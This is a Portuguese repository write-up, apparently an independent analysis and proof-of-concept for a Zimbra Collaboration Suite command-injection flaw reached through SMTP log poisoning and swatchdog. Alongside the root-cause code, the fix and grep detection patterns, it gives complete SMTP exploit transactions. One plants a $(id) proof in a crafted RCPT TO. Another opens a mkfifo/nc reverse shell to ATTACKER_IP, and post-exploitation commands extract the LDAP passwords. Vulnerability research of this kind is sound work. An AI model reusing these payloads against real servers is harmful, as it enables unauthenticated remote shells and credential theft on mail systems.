
Zimbra Collaboration Suite RCE — Envenenamento de log SMTP → swatchdog → Injeção de Comandos do SO (CVSS 8.9, CISA KEV)
Descubra as ferramentas mais usadas pela nossa comunidade.
Sem dados de popularidade ainda.
Nota: Este repositório contém uma análise técnica independente e uma reprodução de PoC da CVE-2026-73570. Não se trata do relatório original da vulnerabilidade.
RCE no Zimbra Collaboration Suite — envenenamento de log SMTP → swatchdog → Injeção de Comando do SO (CVSS 8.9, CISA KEV)
Tipo: Injeção de Comando do SO → RCE Não Autenticado
Vetor: envenenamento de log SMTP → swatchdog → expansão de shell em forma de string do dosnmp
Intervalo de versões afetadas pelo fornecedor/CVE: Zimbra Collaboration Suite < 10.1.20
Pré-requisitos: zimbra-snmp instalado; notificações SNMP habilitadas
CVSS: 8.9 (Alto)
CISA KEV: Sim — adicionada ao Catálogo de Vulnerabilidades Exploradas Conhecidas da CISA
Correção: Zimbra 10.1.20 (lançada em 2026-07-20)
Nota sobre o intervalo de versões: Os metadados do fornecedor/CVE listam as versões afetadas como Zimbra < 10.1.20. No entanto, o código-fonte do Zimbra 10.1.0 examinado durante esta pesquisa já utilizava a chamada segura
system()na forma de lista. Isso sugere que a implementação vulnerável na forma de string foi introduzida em uma compilação intermediária e posteriormente corrigida na 10.1.20, mas a versão exata em que a regressão foi introduzida não foi verificada de forma independente a partir do histórico do repositório.
A vulnerabilidade reside em /opt/zimbra/conf/swatchrc.in, dentro da função dosnmp responsável por enviar notificações de trap SNMP quando um serviço do Zimbra muda de estado.
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
system(
"$snmptrap $snmpsvctrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}"
);
}
A implementação vulnerável usa a forma de string do system() do Perl. O comando resultante é interpretado por um shell, permitindo que metacaracteres de shell e substituições de comando, como $(...) contidos em $args{SERVICE}, sejam avaliados.
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
system(
"/opt/zimbra/common/bin/snmptrap",
"-v", "2c",
"-c", "zimbra",
$traphost,
"",
$snmpsvctrap,
$snmpsvcname,
"s",
$args{SERVICE},
$snmpsvcstatus,
"i",
$statuses{$args{STATUS}}
);
}
A correção de segurança central é a mudança da forma de string para a forma de lista em system(), impedindo a interpretação pelo shell de dados controlados pelo atacante.
Com a forma de lista, o executável e seus argumentos são passados separadamente. Valores como $(cmd) são tratados como dados literais em vez de sintaxe do shell.
Attacker (Kali)
│
│ SMTP RCPT TO with crafted quoted local-part
│ containing the swatchdog pattern + payload
▼
Postfix/smtpd (Zimbra server, port 25)
│
│ Accepts the RCPT TO
│ Logs it to /var/log/zimbra.log
▼
swatchdog (running as zimbra)
│
│ Pattern:
│ /: Service status change: (\S+) (.*) changed from stopped to running/
│
│ Captures attacker-controlled content
│ and passes it to donotify()
▼
donotify()
│
▼
dosnmp()
│
│ system("$snmptrap ... $args{SERVICE} ...")
▼
/bin/sh
│
│ Expands $(payload)
▼
Command execution as "zimbra"
│
▼
Reverse shell / post-exploitation
A questão central é o fluxo de dados completo:
SMTP
→ Postfix
→ /var/log/zimbra.log
→ swatchdog
→ donotify()
→ dosnmp()
→ string-form system()
→ shell interpretation
→ command execution
O Postfix aceita a parte local entre aspas especialmente criada e a registra em zimbra.log. O swatchdog subsequentemente interpreta o conteúdo de log correspondente como um evento de status de serviço, permitindo que dados controlados pelo atacante alcancem a invocação vulnerável de system().
Os comandos a seguir foram testados apenas em um ambiente de laboratório isolado.
Conecte-se ao serviço SMTP de destino:
nc <target> 25
Envie uma transação SMTP especialmente elaborada:
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(id>/tmp/pwned_rce) changed from stopped to running"@target.com>
DATA
.
QUIT
Se a exploração for bem-sucedida, /tmp/pwned_rce conterá uma saída semelhante a:
uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)
Isso confirma a execução de comandos no contexto do usuário zimbra.
Inicie um listener na máquina do atacante:
nc -lvnp 4444
Em seguida, entregue o payload através de SMTP:
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f) changed from stopped to running"@target.com>
QUIT
A exploração bem-sucedida resulta em um shell interativo executando como o usuário zimbra.
Attacker (Kali): 10.0.2.15
Victim (Ubuntu): 10.0.2.22
Hostname: mail.lab.local
VirtualBox NAT Network: 10.0.2.0/24
O código-fonte do Zimbra 10.1.0 examinado durante esta pesquisa já continha a implementação segura de system() na forma de lista.
Portanto, a instalação padrão do 10.1.0 utilizada neste laboratório não foi tratada como evidência de que o próprio Zimbra 10.1.0 era vulnerável.
Para reproduzir a condição vulnerável descrita pela CVE-2026-73570, o swatchrc.in foi modificado manualmente para usar a implementação vulnerável de system() na forma de string.
Faça backup da configuração original:
cp /opt/zimbra/conf/swatchrc.in \
/opt/zimbra/conf/swatchrc.in.bak
O comportamento vulnerável pode então ser reproduzido no laboratório isolado aplicando a implementação em forma de string mostrada na seção Causa Raiz e executando o swatchdog contra o log do Zimbra.
Exemplo:
PERL5LIB=/opt/zimbra/common/lib/perl5 \
/opt/zimbra/common/bin/swatchdog \
-c /opt/zimbra/conf/swatchrc \
-t /var/log/zimbra.log &
Esta modificação do laboratório existe apenas para reproduzir e analisar o fluxo de dados vulnerável. Não deve ser interpretada como evidência de que a build 10.1.0 não modificada era vulnerável.
A exploração bem-sucedida proporciona execução de comandos como o usuário zimbra.
Confirme o contexto de execução:
id
Exemplo:
uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)
A configuração local do Zimbra pode expor credenciais disponíveis para a conta de serviço comprometida.
Por exemplo:
/opt/zimbra/bin/zmlocalconfig -s zimbra_ldap_password
/opt/zimbra/bin/zmlocalconfig -s ldap_root_password
Essas credenciais podem fornecer acesso ao diretório LDAP do Zimbra e demonstrar o impacto pós-exploração da obtenção de execução de comandos como o usuário zimbra.
Pesquise nos logs do Postfix/Zimbra por entradas de destinatários SMTP contendo o padrão de status de serviço do swatchdog:
grep -E 'to=<".*Service status change.*"@' /var/log/zimbra.log
Uma busca mais ampla por sintaxe de substituição de comandos dentro de local-parts entre aspas:
grep -E 'to=<"[^"]*\$\([^"]*\)"@' /var/log/zimbra.log
Correspondências devem ser tratadas como fortes indicadores de uma tentativa de exploração e investigadas imediatamente.